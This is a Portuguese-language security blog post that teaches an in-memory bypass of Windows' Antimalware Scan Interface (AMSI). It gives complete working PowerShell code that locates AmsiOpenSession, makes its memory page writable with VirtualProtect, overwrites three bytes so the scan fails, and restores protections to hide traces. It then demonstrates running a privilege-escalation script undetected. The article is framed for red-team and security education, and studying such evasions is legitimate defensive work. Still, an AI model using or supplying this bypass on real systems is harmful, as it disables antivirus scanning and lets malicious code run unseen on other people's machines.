Blaze Blog /

Evasão de antivírus: derrubando o AMSI com apenas 3 bytes

Security
Jan 10, 2023
4min read
Computador infectado por vírus

Este post tem como objetivo demonstrar uma das muitas técnicas possíveis para contornar soluções antivírus através da aplicação de patches em memória nas instruções do AMSI.

Autor: Matheus Alexandre

A Antimalware Scan Interface foi introduzida pela Microsoft em 2015 e implementada inicialmente nas primeiras versões do Windows 10 com a intenção de fornecer um canal integrado para que produtos de segurança possam interagir, solicitando a verificação de arquivos, memória ou fluxos em busca de conteúdo malicioso.

No Windows 10, o recurso Antimalware Scan Interface está integrado aos seguintes componentes:

  • Controle de Conta de Usuário (UAC)
  • Powershell (scripts, uso interativo e avaliação dinâmica de código)
  • Windows Script Host (WSH)
  • JavaScript e VBScript
  • Macros VBA do Office

Quanto à sua compatibilidade, embora não exista uma lista "oficial" da Microsoft, este repositório do GitHub mostra que pelo menos 22 fornecedores suportam atualmente o AMSI. Isso torna necessário que profissionais de segurança ofensiva e red team sejam proficientes em evadir e contornar tais defesas.

AV vendor table

Entendendo o AMSI

A seguir, apresentamos uma visão geral de uma implementação da Antimalware Scan Interface, utilizando Powershell e o Microsoft Defender como exemplo.

AMSI rpc

A biblioteca amsi.dll será carregada em todos os processos do Powershell e ISE, disponibilizando funções exportadas para que os processos as utilizem. As informações relevantes serão enviadas ao Defender por meio do protocolo RPC, onde o Defender analisará o conteúdo e enviará os resultados de volta ao Powershell para que ele possa bloquear ou executar.

Os tipos de resultados retornados pelas verificações são especificados por AMSI_RESULT da seguinte forma.

typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;

Conforme a documentação da Microsoft, os valores de retorno são classificados da seguinte maneira:

O provedor antimalware pode retornar um resultado entre 1 e 32767 […]

Qualquer resultado de retorno igual ou superior a 32768 é considerado malware, e o conteúdo deve ser bloqueado.

Para esta técnica de bypass específica, a função AmsiOpenSession será o alvo.

HRESULT AmsiOpenSession(
[in] HAMSICONTEXT amsiContext,
[out] HAMSISESSION *amsiSession
);

Se esta função for bem-sucedida, ela retorna S_OK. Caso contrário, retorna um código de erro HRESULT.

O bypass consistirá em forçar a ocorrência deste código de erro através da aplicação de patches em algumas instruções de assembly, interrompendo o fluxo de execução do mecanismo.

Analisando a Antimalware Scan Interface

Ao desmontar as instruções de loop que compõem a AmsiOpenSession, é possível observar uma condição:

AMSI WinDbg

As duas primeiras instruções podem ser observadas como uma comparação e um salto condicional, salto se igual, o que leva ao valor de retorno de "argumento inválido".

Uma instrução TEST definirá a flag de zero (ZF) quando o resultado da operação for zero. O salto condicional, por sua vez, será executado caso a flag de zero esteja definida.

TEST RDX, RDX ; define a flag de zero se RDX == 0
JE amsi!AmsiOpenSession+0x4c ; salta se ZF == 1

Portanto, ao forçar a definição da flag de zero, a CPU será consequentemente induzida a realizar o salto, resultando na falha do mecanismo devido ao retorno de argumento inválido.

O bypass consistirá então nos seguintes passos:

  1. Obter o endereço de memória da AmsiOpenSession
  2. Modificar proteções de memória
  3. Sobrescrever TEST RDX, RDX com XOR RAX, RAX
  4. Reativar proteções de memória para ocultar rastros
  5. Executar código malicioso

Construindo o bypass

Recuperando endereços de memória

Sabendo que todas as funções relacionadas à Antimalware Scan Interface são importadas da biblioteca amsi.dll, basta obter o endereço de memória de onde a função desejada foi carregada. Isso pode ser alcançado através do uso de reflexão da seguinte forma:

function lookFuncAddr{
Param($moduleName, $functionName)

$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object {$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object{If($_.Name -eq 'GetProcAddress') {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

O lookFuncAddr a função faz basicamente o seguinte:

  1. Lista todos os assemblies através de GetAssemblies
  2. Filtra aqueles da biblioteca system.dll que correspondem ao namespace UnsafeNativeMethods
  3. Localiza GetProcAddress através de GetMethods
  4. Obtém o endereço da função desejada através de GetModuleHandle

Isso retornará o endereço da função em hexadecimal para ser usado posteriormente.

Proteções de Memória

Por padrão, apenas privilégios de leitura e execução estarão disponíveis. Isso pode ser visualizado novamente através do WinDbg usando o seguinte comando:

!vprot 7ff9dd8e37e0

WinDbg vprot

PAGE_EXECUTE_READ (0x20)

Habilita acesso de execução ou somente leitura à região de páginas confirmada.

Para modificar tais proteções, a função VirtualProtect será usada:

BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

A função recebe 4 argumentos, conforme descrito a seguir:

  • Endereço da página; obtido através de lookFuncAddr
  • Tamanho da área a ser modificada; 3 bytes
  • Proteção de memória a ser aplicada; 0x40 conforme PAGE_EXECUTE_READWRITE
  • Variável na qual a proteção de memória atual será armazenada pelo SO.

Para criar o tipo de delegado em uma função, a seguinte getDelegateType função será utilizada:

function getDelegateType{
Param(
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)

$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')

return $type.CreateType()
}

Armazenando agora o endereço da OpenSession em amsiAddr, inicializando a variável necessária, definindo a VirtualProtect e sobrescrevendo as proteções de memória.

[IntPtr]$amsiAddr = lookFuncAddr amsi.dll AmsiOpenSession
$oldProtect = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookFuncAddr kernel32.dll VirtualProtect),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))

$vp.Invoke($amsiAddr, 3, 0x40, [ref]$oldProtect)

PAGE_EXECUTE_READWRITE (0x40)

Habilita acesso de execução, somente leitura ou leitura/gravação à região de páginas confirmada

Posicionamento da Instrução

Por fim, substitua as instruções mencionadas e reative as proteções de memória.

$3b = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($3b, 0, $amsiAddr, 3)

$vp.Invoke($amsiAddr, 3, 0x20, [ref]$oldProtect)

Hora da Demonstração

Para demonstrar a eficácia da técnica, duas strings que são sinalizadas imediatamente foram enviadas através do PowerShell:

Demo 1

Para demonstrar um cenário real, o script PowerUp, utilizado para escalonamento de privilégios, foi carregado na memória e executado com sucesso:

Demo 2

Referências e leitura complementar

  1. Instrução TEST em Assembly x86
  2. Condições e instruções de salto em x86
  3. Chamando APIs do Windows a partir da memória (getDelegateType)

Do you have questions? Let's talk.

Get in touch with our cybersecurity experts

Read More